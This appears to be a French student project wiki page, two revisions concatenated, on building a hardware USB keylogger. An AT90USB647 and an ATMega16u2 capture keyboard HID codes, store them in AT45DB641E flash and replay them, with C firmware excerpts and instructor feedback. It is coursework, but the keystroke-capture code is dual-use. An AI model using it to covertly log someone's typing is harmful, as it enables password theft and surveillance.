uint8_t data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);
for (byte = 0; byte < (address == (*page_actual) ? *page_buffer_size : FLASH_PAGE_INDEX_MAX+1); byte += 7)
{
// for (k = 0; k < 7; k++)
// Data_to_Send[k] = data[byte + k];
memcpy(Data_to_Send, &(data[byte]), 7);

while (!Serial_IsSendReady());
Serial_SendData(Data_to_Send, 7);
while (!Serial_IsSendComplete());
_delay_ms(10);
}
}
for (byte = 0; byte < (*flash_buffer_i); byte += 7)
{
// for (k = 0; k < 7; k++)
// Data_to_Send[k] = flash_buffer[byte + k];
memcpy(Data_to_Send, &(flash_buffer[byte]), 7);

while (!Serial_IsSendReady());
Serial_SendData(Data_to_Send, 7);
while (!Serial_IsSendComplete());
_delay_ms(10);
}
}
}
}
</syntaxhighlight>Si l'octet de commande est celui du reset de la mémoire, on remet à zéro tout les indices concernant la mémoire et le buffer de la flash. Puis on appelle une commande de la flash qui consiste à réinitialiser toute la puce.

Lorsque la commande est celui de la récupération de la mémoire, on lit et envoie toutes les données des pages mémoires dans la flash, puis on envoie aussi les données qui se trouve potentiellement dans le buffer de la flash.

Au final, dans le programme de l'AT90, on se retrouve avec deux nouvelles variables <code>flash_buffer</code> qui est le tableau de taille 63 (capable de stocker 9 entrées du clavier) et <code>flash_buffer_i</code> qui nous permet de suivre l'évolution du remplissage du buffer. De plus, on peut voir l'ajout d'un délai de 10 millisecondes qui permet d'espacer chaque envoie en plus de la fonction <code>Serial_IsSendComplete</code> afin de ne pas avoir un caractère qui saute à la réception.

Concernant le programme de l'ATMEGA, pas grand chose a changé si ce n'est la façon de recevoir les octets de données des touches tapés :<syntaxhighlight lang="c">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
ReportData->Modifier = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[0] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[1] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[2] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[3] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[4] = Serial_ReceiveByte();
while(!Serial_IsCharReceived());
ReportData->KeyCode[5] = Serial_ReceiveByte();
}
}
</syntaxhighlight>On attends à partir de la fonction <code>Serial_IsCharReceived</code> qu'un octet soit sur le flux de la liaison série. Puis on récupère l'octet via la fonction <code>Serial_ReceiveByte</code>. Assez simple finalement ! = )

= Documents Rendus =
[[:Fichier:Keyboard-Device-Atmega (Semaine 1).zip#file]]

ReX : Erreur dans la fonction <code>LEDs_ToggleLEDs</code>.

ReX : Erreur dans le <code>makefile</code>, la fréquence de lu quartz externe est de 8Mhz. Mettre le code ci-dessous en début de fonction <code>main</code> :
CLKSEL0 = 0b00010101; // sélection de l'horloge externe <ref name=":0" group="Code associé" />
CLKSEL1 = 0b00001111; // minimum de 8Mhz
CLKPR = 0b10000000; // modification du diviseur d'horloge (CLKPCE=1)
CLKPR = 0; // 0 pour pas de diviseur (diviseur de 1)
Tests AT45DB641E : [[:Fichier:TestMem CMD WR.zip|Fichiers de test mémoire]]

Tests AT90USB647 : [[:Fichier:KeyboardHost.zip|Fichiers KerboardHost]]

Fichiers Keylogger : [[:Fichier:Keylogger.zip|Fichiers Keylogger]] | [[:Fichier:Keyboard to PC.zip|Fichiers Keylogger sans la mémoire]] | [[:Fichier:Keylogger Serial Testing.zip|Fichiers d'expérimentation pour la liaison série]]

=== Liste des références vidéo ===
<references />

=== Liste des références image ===
<references group="Image" />

=== Liste des références code ===
<references group="Code associé" />

SE4 2022/2023 EC5

2023-08-14T19:33:50Z

Bnguyen1 : /* Keylogger */

= Objectifs =

Il vous est demandé de :
* réaliser un keylogger en partant d'un prototype réalisé par un élève des années précédentes, ce prototype comporte :
** un microcontrôleur AT90USB647 pour pouvoir utiliser un projet LUFA en mode hôte,
** un microcontrôleur ATMega16u2 pour pouvoir utiliser un projet LUFA en mode périphérique,
** une mémoire flash pour pouvoir sauver les touches capturées ;
* commencez par écrire un programme, basé sur la démonstration LUFA bas-niveau Keyboard pour vérifier que la partie ATMega16u2 de la carte fonctionne ;
* poursuivez en vérifiant que vous avez accès, à partir de l'AT90USB647 à la carte mémoire AT45DB641E, vous pouvez vous baser sur le code des PeiP ;
* vous pourrez alors tester la démonstration LUFA hôte bas-niveau KeyboardHost ;
* enfin terminez en récupérant les symboles lus par l'AT90USB647 sur le clavier USB pour les transmettre par UART à l'ATMega16u2 puis au PC ;
* il reste à stocker les symboles au passage dans la mémoire flash et à prévoir une interface particulière sur l'ATMega16u2 pour récupérer les informations.

= Matériel nécessaire =

Vous avez besoin du prototype de la carte keylogger et d'un Arduino configuré en programmateur AVR ISP.

[[file:2023-keylogger-schema.png|thumb|400px|left|Schéma électronique]]
[[file:2023-keylogger-pcb.png|thumb|400px|right|Routage]]

Le schéma électronique et le routage de cette carte sont donnés dans les figures ci-contre.

Le [[file:2023-keylogger-fritzing.zip]] fichier Fritzing de la carte est disponible (à renommer en <code>.fzz</code>).

Le dernier projet sur ce sujet est disponible sur l'ancien Wiki [https://wiki-ima.plil.fr/mediawiki//index.php/IMA4_2020/2021_EC2].

<div style="clear: both;" />

= Travail réalisé =

=== Semaine 1 ===
En premier temps, je me suis intéressé au fonctionnement, aux outils et librairie nécessaire au fonctionnement de la librairie LUFA.

J'ai donc essayé de comprendre comment créer un projet LUFA grâce aux démos, d'installer les programmes tel que dfu-programmer et avr-gcc.

Cependant, n'ayant pas de PC natif linux, j'ai d'abord essayer avec Windows Sous Linux (qui est la solution que j'ai utilisé tout au long de l'année) mais je n'arrivais pas à apercevoir le périphérique USB de la carte Atmega16u2, j'ai donc essayé d'installer et utiliser une VM Linux et j'ai pu lier le périphérique DFU Bootloader de l'Atmega vers la VM afin de téléverser le programme de démo device : Keyboard.
[[Fichier:Capture d'écran Ouverture Fritzing.png|vignette]]
J'ai essayé d'ouvrir le fichier schématique de la carte électronique qui fonctionne très bien, mis à part trois fichier/modèle manquant dans l'archive comme les boutons reset et l'AT90. Ainsi, j'ai pu déterminer où été branché les leds à l'Atmega afin de configurer le programme de démo LUFA.

J'ai réussi à téléverser un programme et à contrôler les leds de la carte électronique du côté de l'Atmega, mais je pense qu'il doit toujours y avoir des erreurs dans la configuration du programme. En effet, lorsque je regarde la description du périphérique USB de l'Atmega, j'observe qu'il n'y a pas d'Endpoint présent dans la description.

Enfin, je n'arrivais pas à récupérer une fonction de délai afin de faire clignoter les leds, donc j'ai essayé d'implémenter les boutons de la carte électronique qui fonctionne bel et bien, plus qu'à regarder la vidéo pour voir le code à l'action !

Vidéo : [[:Fichier:EC5-Semaine1.mp4]]<ref>Vidéo rapport semaine 1</ref>

ReX : Impossible de voir quelle erreur tu as fait pour les LED : pas de code dans le Wiki.

ReX : La vidéo n'existe plus merci de la télécharger dans le Wiki.

ReX : La fonction de délai est <code>_delay_ms</code>, le fichier d'inclusion nécessaire est <code>util/delay.h</code>.

=== Semaine 2 ===

L'erreur apparaît car la fonctionnalité USB côté Atmega16u2 n'est pas implémenter/implémentable.

ReX : Cette phrase n'a pas de sens l'ATMega16u2 est bien doté d'une implantation USB matérielle. A la livraison du matériel j'ai aussi montré le bon fonctionnement du mode DFU/USB et la façon d'y faire entre le microcontrôleur.

ReX : Au vu des erreurs dans le projet LUFA je crois comprendre ce que vous voulez dire c'est que vos erreurs dans le projets LUFA font que la fonctionnalité USB de ce projet est défaillante. Corrigez, testez à nouveau ...
[[Fichier:Image.png|vignette]]
Benjamin : Après avoir corriger le code pour le 16u2, j'ai essayé d'implémenter un code pour l'USB647, mais lorsque je regarde dans mes périphériques, mon ordinateur ne reconnaît pas ... J'ai essayé de voir dans les travaux déjà réalisé et ai trouvé qu'il y'avait une manière particulière de bootloader le micro contrôleur (à la même manière qu'avec le 16u2) <ref group="Image">[[:Fichier:Keyboard problem2.jpg]]</ref>, mais le périphérique reste inconnu pour ma machine.

Benjamin : J'ai réussi à trouver le périphérique en téléchargeant le logiciel [https://www.microchip.com/en-us/development-tool/flip FLIP] et en suivant cette vidéo (<nowiki>https://youtu.be/Vd0F0XHzchY</nowiki>).

ReX : Tu tentes de faire le projet sous windows ?

Benjamin : Non, j'utilise une VM Linux pour faire le projet, mais je n'ai que des machines Windows chez moi et impossible de Dual Boot mon PC.

ReX ; Dans ce cas tu peux affecter le périphèrique USB en mode DFU à la machine virtuelle et téléverser avec <code>dfu-programmer</code>.

ReX : Une preuve du fonctionnement pour l'ATMega16u2 ?

Benjamin : Non, il n'y a pas de preuve du fonctionnement de l'ATMega16u2 concernant la partie USB, néanmoins de part la consigne de la première étape qui m'a été donné ci-dessus, il est question de vérifier le fonctionnement du microcontrôleur et donc de savoir si il est aussi possible de téléverser un programme sur celui-ci. On peut donc voir par la vidéo fourni la semaine dernière que le microcontrôleur fonctionne correctement, sans pour autant avoir la partie USB fonctionnelle.

Cependant, en téléversant la démo fourni par LUFA, on voit que l'ATMega16u2 prend le contrôle de mon clavier [[:Fichier:Video-atmega16u2-usb.mp4|(voir vidéo)]]<ref>[[:Fichier:Video-atmega16u2-usb.mp4|Video-atmega16u2-usb]]</ref>.

ReX : Heu je te vois taper sur ton clavier ?

Benjamin : J'ai essayé de voir pour résoudre le problème concernant la connexion à l'USB647, mais je n'ai toujours pas de solution. J'essaie de voir pour emprunter une machine à un ami qui soit sous booté sous Linux afin de voir si le problème vient du système d'exploitation.

ReX : Heu, alors 1) faire SE sans machine Linux c'est quand même un problème 2) au pire démarre un Linux live sur une clef USB. Tu vas quand même pas t'arrêter sur ce genre de détail !

=== Semaine 3 ===
Benjamin : J'ai booté un ancien PC avec une distribution Linux et j'arrive enfin à utiliser l'AT90USB647. J'ai alors configuré le code réalisé par les PeiP en renseignant les bonnes informations à propos de la Flash et des Leds. Cependant, en téléversant mon programme, les leds ne s'allume pas, j'ai essayé de regarder si la tension était bonne aux broches des Leds (Broches F5 et F6) et il semble que la tension délivré soit la basse impédance.

Fichier : [[:Fichier:MassStoragePeiP.zip|Archive Code_AT90USB]]

Question : Y'a t'il des choses à configurer correctement afin d'utiliser l'AT90USB ? Car dans l'état, je ne peux pas savoir si tout fonctionne sans témoin visuel.

Update : Tout fonctionne concernant l'AT90USB647, les LEDS avaient été soudées à l'envers.

=== Semaine 4 ===
Pendant cette semaine, j'ai essayé de mettre en place les deux démos de la librairie LUFA : MassStorage et KeyboardHost, énoncés dans les tâches à effectuer ci-dessus.

ReX : J'ai beau chercher je vois pas où j'ai demandé de tester MassStorage sur l'AT90USB, dans mon esprit c'était les programmes de test de la mémoire qui peuvent se trouver sur le site des BE SE PeiP.

Benjamin : Je pense que je suis parti sur MassStorage car en fouillant sur le [https://peip-ima.plil.fr/mediawiki/index.php/BE_2022-2023 wiki] j'avais trouvé ce [https://peip-ima.plil.fr/mediawiki/images/6/6b/MassStoragePeiP.zip fichier], alors que vous faisiez référence à ce [https://peip-ima.plil.fr/mediawiki/index.php/Binome2019-2 projet].

''MassStorage :'' J'ai repris le code [[:Fichier:MassStoragePeiP.zip|MassStoragePeiP]] et ai adapté les broches de leds aux broches PD2 et PD3 qui pouvait être récupérer via des broches mâles afin de faire clignoter des leds sur une board externe, en attendant de résoudre le problème des leds souder à l'envers.

ReX : Alors 1) ce code ne fait aucun test sur la mémoire, voir les tests TestMem, TestMemRW et TestMemRW2 comme indiqué par courriel 2) les LEDs ne marcheront pas correctement tant que l'AT90USB n'aura pas été lancé sur l'horloge interne et tant que le JTAG n'aura pas été désactivé, voir le programme Blink envoyé par courriel.

Je pense que tout est bien configuré et tout fonctionne concernant la liaison entre l'AT90 et l'AT45 car les clignotements de leds entre chaque tâche d'appel est présent ce qui indiquerait un bon fonctionnement.

ReX : Heu non pratiquement rien n'est correctement configuré (voir remarque précédente), de plus je ne vois où tu es sensé avoir vérifié quelque chose via les LED, le fait que tu n'indiques pas les modifications apportées en ce sens n'aide pas. Par contre l'idée d'utiliser des LED externes sur plaque d'essai est une bonne idée en attendant de réparer la carte fournie.

'''''Update :''''' Après en avoir discuté avec ReX par mail, l'utilisation de la démo MassStorage pour tester la flash était overkill, il m'a donc donné un programme pour tester la mémoire (que l'on retrouve sur le wiki des PeiP : [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip lien]).

ReX : Oui :)

''KeyboardHost :'' J'ai repris la démo de la librairie LUFA que je n'ai pas beaucoup modifié pour pouvoir l'utiliser, et tout semble bien fonctionner après le téléversement du programme.

ReX : Oui mais ça aiderait d'avoir le projet pour vérifier si le JTAG est bien désactivé, si le microcontrôleur est bien lancé sur l'horloge externe, etc.

Cependant, puisque les seuls leds que j'ai pour l'instant à ma disposition occupe les broches pour la communication UART (liaison série), je n'arrivais pas à comprendre pourquoi je n'avais pas le comportement que j'avais essayé d'avoir via le programme (clignotement de led dans certains cas et autre), avant de comprendre que les signaux que les leds recevait était la communication UART.

ReX : Le port série est effectivement utilisé dans la démonstration LUFA pour afficher quelques touches, il faudrait plutôt que tu changes l'état de tes 2 LED si des touches bien précises sont appuyées, avec 2 LED, tu peux tester 4 touches c'est déjà ça.

Mis à part ça, j'ai connecté un clavier via le port USB de la carte et j'observe que le clavier est bien lié à l'ordinateur qui alimente la carte électronique. Le microcontrôleur agît bien comme un clavier hôte.

ReX : Je ne comprend pas là, il est impossible que le clavier soit reconnu si tu connectes l'ATMega16u2 à ton PC, tout ce qu'il va voir c'est la démonstration LUFA que tu as chargé dans l'ATMega16u2, rien à voir.

Benjamin : C'est l'AT90USB qui est connecté à mon PC, pour l'instant je n'ai plus touché à l'Atmega depuis. J'ai donc téléverser la démo et je peux interagir sur mon PC avec le clavier brancher sur la carte, mais après réflexion je me demande si c'est vraiment grâce au programme que je peux faire ca. Est-ce que ce serait pas parce qu'il y'a une connexion entre l'USB-B du clavier et l'USB-DFU que le clavier arrive à communiquer avec mon PC ?

ReX : Tu utilises à la fois le connecteur USB A femelle et le connecteur micro USB du coté de l'AT90USB ? Si c'est le cas ça va faire des étincelles : tu connectes un périphérique USB à DEUX contrôleurs USB, ça ne peut pas bien se passer ...

<s>J'ai essayé de mettre en place une interface afin de voir les caractères tapés et transmis par la liaison série. On retrouve donc un Arduino et un écran LCD qui est censé montrer la touche tapé. Mais lorsque j'ai essayé de lié l'Arduino avec l'AT90USB, je n'arrivais pas à recevoir les touches tapés sur mon clavier (je pense que dans le programme du microcontrôleur, il ne comprend pas quelle touche est tapé) et me retrouver sans caractère. J'ai donc essayé en envoyant en boucle une lettre précise comme ci-dessous :</s>

Afin de pouvoir observer les touches tapés sur le clavier, j'ai mis en place un Arduino et un écran LCD. Il y'aurait donc une liaison entre l'Arduino et l'AT90 via UART afin de récupérer l'information sur la touche tapée.

J'ai donc essayé de récupérer les touches tapées via la liaison série, mais je ne récupère rien du tout. J'ai donc essayé d'envoyer en boucle un caractère (code ci-dessous) et on le retrouve bien sur l'écran LCD.

D'où mon questionnement sur le fait de savoir si dans le programme, on récupère bien le caractère tapé sur le clavier ou non.

ReX : Corrige les fautes d'orthographe dans ce paragraphe, je n'arrive même pas à comprendre ce que tu veux dire.

<syntaxhighlight lang="c">
// Et ça m'affiche le caractère A sur l'écran LED
putchar('A');
</syntaxhighlight>
[[Fichier:Arduino-LCD & At90.jpg|centré|vignette|Montage Arduino/LCD & KeyLogger]]
On retrouve le fil bleu qui est le RX de l'arduino et le TX de l'AT90, pour le fil rouge l'inverse, et le fil gris est la masse.

ReX : La carte keylogger n'est pas présente sur la photo, tu as bien pensé à connecter les masses ? et à inverser les RX/TX ?

Pour la suite, il faudrait que je réfléchisse sur la manière de faire pour que l'Arduino capte les données de la liaison série alimentée en 3.3V.

ReX : Ca ne va pas être simple. Le mieux est de tester avec les LED externes puis faire un test complet avec connexion série entre l'AT90USB et l'ATMega16u2. Les LED de l'ATMega16u2 sont bien configurées et si tu veux afficher les touches par port série tu peux passer l'ATMega16u2 en passerelle USB série en chargeant la bonne démonstration LUFA.

'''''NB :''''' pour alimenter l'AT90USB en 3.3V, il faut changer la position du cavalier de la jonction J10 (les deux pins côté Port USB)

J'ai corrigé le problème des leds, je les ai ressoudés dans le bon sens.

Cependant, dans le processus, j'en ai perdu une que j'ai donc remplacé avec une led d'un arduino qui ne fonctionne plus.
[[Fichier:AT90 leds fix.jpg|vignette|Carte avec les nouvelles leds soudé dans le bon sens]]

ReX : Excellent, ce n'est pas rare de détruire une LED en la désoudant, c'est fragile, bravo pour la rectification.

=== Semaine 5 ===

==== Mémoire ====
J'ai travaillé sur l'accès mémoire de l'AT45DB641E en commençant par comprendre le fichier de test envoyé et [https://peip-ima.plil.fr/mediawiki/index.php/Fichier:MemoireB2.zip trouvé]. On peut voir la démonstration du programme avec la [[:Fichier:TestMem CMD.mp4|vidéo suivante]]<ref>Vidéo test mémoire par commande</ref>.

ReX : Le programme chargé sur le Wiki (MémoireB2) ne correspond pas à la démonstration. Mais très jolie vidéo de démonstration du test de l'ID.

Benjamin : Effectivement, je voulais juste référencer l'archive où l'on pouvait trouver la librairie pour la flash.

Ensuite, pour pouvoir me faire la main avec la librairie récemment acquise, j'ai écris un programme qui écrit dans la mémoire des données que je récupère ensuite. On peut voir la démonstration dans la [[:Fichier:TestMem WR.mp4|vidéo suivante]]<ref>Test mémoire en écriture et lecture</ref>.

On retrouve le code des deux programmes via ce [[:Fichier:TestMem CMD WR.zip|lien]].

J'ai ajouté dans le code une fonction ''blink_ending'' pour distinguer les fins de fonction.

ReX : Très jolie vidéo de démonstration (et code de la précédente démonstration trouvé dans le code lié à la seconde).

==== Gestion clavier USB ====
Aujourd'hui, j'ai travaillé sur la démonstration KeyboardHost sur l'AT90USB647. On peut voir la démonstration en [[:Fichier:KeyboardHost Demo Video.mp4|vidéo]]<ref>Vidéo démo du programme KeyboardHost sur l'AT90</ref>.

ReX : Très bonne vidéo de démonstration. Le programme correspondant est donné un peu après.

On peut aussi observer dans la vidéo que l'on alimente l'AT90USB647 avec l'Atmega16U2.

Lors du téléversement du programme, je ne comprenais pas pourquoi les leds ne s'allumaient pas, jusqu'à ce que je me souvienne d'une conversation avec ReX par mail parlant de correctement configurer l'horloge du microcontrôleur<ref name=":0" group="Code associé">Configuration de l'horloge</ref>. On peut retrouver le programme de démonstration avec la configuration des leds ainsi que de l'horloge [[:Fichier:KeyboardHost.zip|ici]].

ReX : Marche pas bien la balise ref ... (tentative de correction par ajout d'une balise references en fin de page).

En voulant continuer sur ma lancée en liant les deux microcontrôleurs, je n'arrivais pas encore à récupérer les touches tapées via la liaison série. Cependant, en me rappelant l'Arduino LCD réalisé précédemment, j'ai enregistré une démonstration du KeyboardHost avec l'Arduino LCD qui affiche les caractères tapés. On peut voir la vidéo via [[:Fichier:KeyboardHost LCD.mp4|ce lien]]<ref>Vidéo AT90 et Arduino/LCD qui récupère les caractères</ref>.

ReX : Excellente vidéo de démonstration, le code est donné avant pour une fois.

[[Fichier:Keylogger Keyboard To PC.jpg|vignette|Keylogger avec l'alimentation et UART connectés]]

Aujourd'hui j'ai essayé de lier l'AT90 et l'ATMega via la liaison série, résultat dans la [[:Fichier:Keyboard PC.mp4|vidéo suivante]]<ref>Vidéo démo Clavier -> AT90 (USART) -> ATMEGA -> PC</ref>. Pour obtenir ce résultat, j'ai téléversé les démos KeyboardHost sur l'AT90 et Keyboard sur l'Atmega. Je les ai légèrement modifiés pour pouvoir inclure la communication série dans la démo Keyboard, et j'ai modifié la logique d'envoi de caractère pour envoyer directement le code HID obtenu via le clavier sur l'AT90 et non le caractère ASCII (présenté dans la démo de base).

On peut retrouver ci-joint les deux programmes [[:Fichier:Keyboard to PC.zip|Keyboard et KeyboardHost]] qui sont exécutés respectivement sur l'ATMega et l'AT90.

ReX : Excellente vidéo de démonstration. Le code est donné pas trop loin de la vidéo. Pour que les touches modificatrices puissent être utilisées, il suffirait d'envoyer deux octets par liaison série : les modificateurs et la première touche (il serait même possible d'envoyer l'ensemble des touches, il faudrait seulement prendre soin d'envoyer un octet de préambule style 0xff pour synchroniser les blocs de données série).

Remarque: Je me rend compte que pendant les semaines précédentes, je partais dans toutes les directions en modifiant tout du programme de démo alors qu'il suffisait simplement de modifier quelques lignes de code concernant la configuration du microcontrôleur et de bien fouiller dans les travaux déjà effectué par d'anciens élèves. Comme quoi la librairie LUFA est vraiment complète et fonctionnelle.

ReX : Très bonne autocritique, vous avez su prendre du recul sur l'EC.

==== Keylogger ====
J'attaque désormais l'implémentation de la mémoire sur l'AT90 et un moyen de récupérer ces données. Je pensais utiliser les boutons en dessous de l'ATMega pour pouvoir commander l'AT90 par liaison série et l'ordonner d'envoyer tous les caractères lu.

ReX : Le bouton peut être utilisé pour démasquer des EP USB permettant de récupérer les données mais je dirais que si les EP sont toujours présentes cela suffira largement.

Pour la mise en mémoire des touches tapés, j'ai essayé de faire comme ci-dessous :
<syntaxhighlight lang="c" line="1">
int main(void)
{
CLKPR = (1<<CLKPCE);
CLKPR = 0;
MCUCR |= (1<<JTD);
MCUCR |= (1<<JTD);

SetupHardware();

puts_P(PSTR(ESC_FG_CYAN "Keyboard HID Host Demo running.\r\n" ESC_FG_WHITE));

LEDs_SetAllLEDs(LEDMASK_USB_NOTREADY);
GlobalInterruptEnable();

/* Variable for the AT45DB641E */
int page_start = 0;
int page_actual = page_start;
int page_buffer_size = 0;

for (;;)
{
KeyboardHost_Task(&page_actual, &page_buffer_size);
Flash_Task(&page_start, &page_actual, &page_buffer_size);
USB_USBTask();
}
}

// ...

void KeyboardHost_Task(int *page_actual, int *page_buffer_size)
{
// ...
/* Checking if the previous buffer was full to change pages or not */
if (*page_buffer_size == FLASH_PAGE_SIZE) {
*page_buffer_size = 0;
(*page_actual)++;
}

/* AT45DB641E communication */
/* Recup of the data of the actual page to re-write on */
unsigned char data[FLASH_PAGE_SIZE];
AT45DB641E_read_page(&SPI_PORT, SPI_SS, *page_actual, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the Modifier and Keycode in the array */
data[(*page_buffer_size)++] = KeyCode;

/* Writing in the AT45DB641E buffer before writing in the flash */
AT45DB641E_write_buffer(&SPI_PORT, SPI_SS, data, sizeof(data), SEQ_START | SEQ_STOP);

/* Writing the buffer into the flash at page_actual address */
AT45DB641E_write_page(&SPI_PORT, SPI_SS, *page_actual);

/* Waiting the flash finishing writing at page_actual address */
while(AT45DB641E_busy(&SPI_PORT, SPI_SS)) {
LEDs_TurnOnLEDs(LEDS_LED1);
}
LEDs_TurnOffLEDs(LEDS_LED1);

/* Serial communication */
Serial_SendByte(KeyCode);

// ...
}
</syntaxhighlight>

ReX : Ce n'est pas optimal mais dans l'idée ça doit marcher. Pour de l'optimal, il faudrait écrire les touches dans un tampon de faible taille (mettons 64 octets) et écrire le tampon une fois plein (ou au bout d'un certain temps d'inactivité). Il y aurait moins d'accès mémoire (la flash ça se fatigue).

Dans ma logique, j'utilise trois variables : <code>page_start</code> qui est la page où l'on commence l'écriture, <code>page_actual</code> qui indique la page courante et <code>page_buffer_size</code> qui indique la taille courante du buffer de données, afin de trouver l'index de la touche à mémoriser dans le buffer, et ensuite dans la flash.

ReX : La variable <code>page_start</code> me semble inutile.

L'algorithme est simple, on vérifie tout d'abord si la taille du buffer précédent est égal à la taille d'une page de la flash. Si oui, on réinitialise le compte sur la taille et on incrémente la page courante. Ensuite on récupère les données de la page courante afin de réécrire par dessus. On met les données dans le buffer qu'on écrit ensuite dans la flash à la page <code>page_actual</code>. Puis on attend que l'écriture est effectuée pour passer à la tâche suivante qui est l'envoi de la touche tapée. (Edit: Dans le programme final, on envoie d'abord les touches puis on enregistre, mais je ne pense pas que ça change beaucoup au niveau de la performance).

Du côté de l'ATMega c'est simple, il n'y a que la réception qui s'effectue et l'écriture dans le rapport.

<syntaxhighlight lang="c">
void CreateKeyboardReport(USB_KeyboardReport_Data_t* const ReportData)
{
/* Clear the report contents */
memset(ReportData, 0, sizeof(USB_KeyboardReport_Data_t));

if (Serial_IsCharReceived())
{
ReportData->KeyCode[0] = Serial_ReceiveByte();
}
}
</syntaxhighlight>

Comme je l'avais signalé dans la vidéo précédente, les données à propos des modifieurs (Shift, Control, etc) ne sont pas reçus. J'ai donc essayé d'inclure l'octet Modifier du rapport clavier, mais sans succès. J'ai essayé de trouver des solutions afin de synchroniser par exemple l'envoi et la réception, l'utilisation de la fonction <code>Serial_SendData</code> pour envoyer les deux octets (Modifieur et Code_Touche) en une fois, mais puisque la liaison USART est asynchrone, je crois bien que le problème est là. Je vais donc essayer de faire des fonctions de réception de paquet lorsque l'ATMega détecte la réception d'un octet.

ReX : Nombreuses correction de coquilles dans tout le Wiki (voir l'historique).

ReX : Le problème pour l'envoi de l'octet <code>modifier</code> est peut être du au fait que la fonction d'envoi des octets par série n'est pas bloquante (voir commentaire plus loin).

<s>De plus, j'ai essayé d'utiliser les boutons de l'Atmega pour envoyer des octets de données à l'AT90 via liaison série, mais j'ai l'impression que celui-ci ne les reçois pas, ou du moins il ne récupère pas les bons octets (ca m'affiche toujours 0xFF).</s> Edit: J'avais juste oublié d'appeler la fonction dans la boucle du main.

Ci-dessous, on retrouve la fonction executée sur l'AT90 pour gérer la commande de la flash de la part de l'ATMEGA16U2 vers l'AT90USB647. <syntaxhighlight lang="c" line="1">
void Flash_Task(int *page_start, int *page_actual, int *page_buffer_size)
{
if (Serial_IsCharReceived())
{
uint8_t Command_Byte = Serial_ReceiveByte();
uint8_t Ending_Byte;
do {
Ending_Byte = Serial_ReceiveByte();
} while((Ending_Byte != 0xFF) || (Ending_Byte == Command_Byte));

if (Command_Byte == SERIAL_FLASH_RESET)
{
*page_actual = *page_start;
*page_buffer_size = 0;
}

if (Command_Byte == SERIAL_FLASH_GET)
{
uint8_t data[FLASH_PAGE_SIZE];

int address, j;
for (address = (*page_start); address <= (*page_actual); address++)
{
AT45DB641E_read_page(&SPI_PORT, SPI_SS, address, data, sizeof(data), SEQ_START | SEQ_STOP);
for (j = 0; j < ((address == (*page_actual)) ? (*page_buffer_size) : FLASH_PAGE_SIZE); j += 2)
{
/* Communicating data by serial connection */
while (!Serial_IsSendReady());
Serial_SendByte(data[j]);
Serial_SendByte(data[j+1]);
while (!Serial_IsSendComplete());
_delay_ms(50);
}
}
}
}
}
</syntaxhighlight>'''Explications :'''

* Tout d'abord, on vérifie si il y'a un message sur la liaison série de l'ATMega vers l'AT90.
* Si oui, on lit l'octet de commande et on attends que la voie série soit vide.
* Ensuite on effectue une tâche selon le code:
** '''''SERIAL_FLASH_RESET''''' qui est 0x22 dans le programme final (valeur prise sans raison particulière) remet à zéro la mémoire de la flash afin d'enregistrer une nouvelle saisie.
** '''''SERIAL_FLASH_GET''''' qui est 0x23 dans le programme final (juste que j'aime bien le nombre 23) permet de récupérer les touches tapées et de les envoyer.
*** On parcourt toutes les pages qui ont pu être enregistrées.
*** On récupère les touches tapées sur la page.
*** On parcourt le tableau de deux en deux : On envoie la donnée à l'indice pair qui est le code de touche, et on envoie la donnée à l'indice impaire qui est le code modifieur (Shift, Control, etc...).
*** On laisse un court instant de délai afin de laisser le temps à l'ATMEGA de bien recevoir les octets de la touche enregistrée. (J'ai essayé avec des délais plus court, mais ça ne nous redonne pas correctement la liste enregistrée, des lettres sont passés si le délai est trop court)

A la ligne 25 on peut observer un ternaire pour la condition de boucle. On regarde si l'adresse de page est égale à <code>page_actual</code> qui est en fait la dernière page enregistrée. Si oui, alors il faut interrompre l'indice j avant qu'elle ne dépasse la taille des données enregistrées sur la dernière page, sinon l'indice j parcourt <codeFLASH_PAGE_SIZE fois le tableau de donnée récupéré.

ReX : Le délai me paraît non nécessaire par contre les deux <code>Serial_SendByte</code> sans attente entre les deux me paraît joueur. Sauf si <code>Serial_SendByte</code> est bloquant mais je parierais pas.

Concernant la fonction de gestion de la flash du côté de l'ATMega :
<syntaxhighlight lang="c" line="1">
void Flash_Task(void)
{
uint8_t ButtonStatus_LCL = Buttons_GetStatus();

/* Reset flash button */
if (ButtonStatus_LCL & BUTTONS_BUTTON1){
_delay_ms(200);
Serial_SendByte(SERIAL_FLASH_RESET);
// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);
while(!Serial_IsSendComplete());
}

/* Get all the flash */
if (ButtonStatus_LCL & BUTTONS_BUTTON2){
_delay_ms(200);
Serial_SendByte(SERIAL_FLASH_GET);
// Serial_SendByte(SERIAL_FLASH_TRANSMIT_END);
while(!Serial_IsSendComplete());
}
}
</syntaxhighlight>

On lit quel bouton est appuyé pour ensuite envoyer une commande via la liaison série. On peut observer un délai just avant l'envoie de la commande qui est nécessaire pour être sûr de l'envoyer qu'une seule fois. Sans ce délai, les commandes seraient envoyées plusieurs fois (c'est du vécu), car en effet, les fonctions s'éxecutent rapidement et le temps entre l'appui du bouton et son relâchement, il y'a sûrement quelques centaine de millième de seconde (je ne sais pas exactement le temps ecoulé entre chaque appui et relâchement de bouton) qui se sont écoulés, ce qui laisse le temps à la fonction <code>Flash_Task</code> d'être executée plus d'une fois.

ReX : Haaaa et les touches mémorisées sont envoyées comme si elles avaient été tapées au clavier. Malin, je n'avais pas pensé à cette astuce, c'est bien plus simple que d'implanter des EP supplémentaires pour récupérer les touches mémorisées. Très bien.

Enfin, les fonctions d'écriture du rapport de clavier sont un peu changées pour inclure le code du modifieur. Pour l'ATMega, on peut observer l'ajout d'une boucle pour attendre sur la liaison série un octet différent de 0xFF ou du code touche lu précédement :

<syntaxhighlight lang="c" line="1">
